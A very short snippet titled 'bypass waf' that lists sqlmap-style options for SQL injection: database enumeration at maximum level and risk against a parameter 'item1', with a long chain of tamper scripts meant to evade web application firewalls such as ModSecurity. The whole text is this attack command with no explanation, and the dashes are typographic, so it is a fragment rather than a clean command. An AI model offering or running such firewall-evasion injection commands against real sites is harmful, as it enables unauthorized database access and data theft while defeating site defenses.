bypass waf

–dbs –batch –level=5 –risk=3 -p ‘item1’ –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,ifnull2ifisnull,modsecurityversioned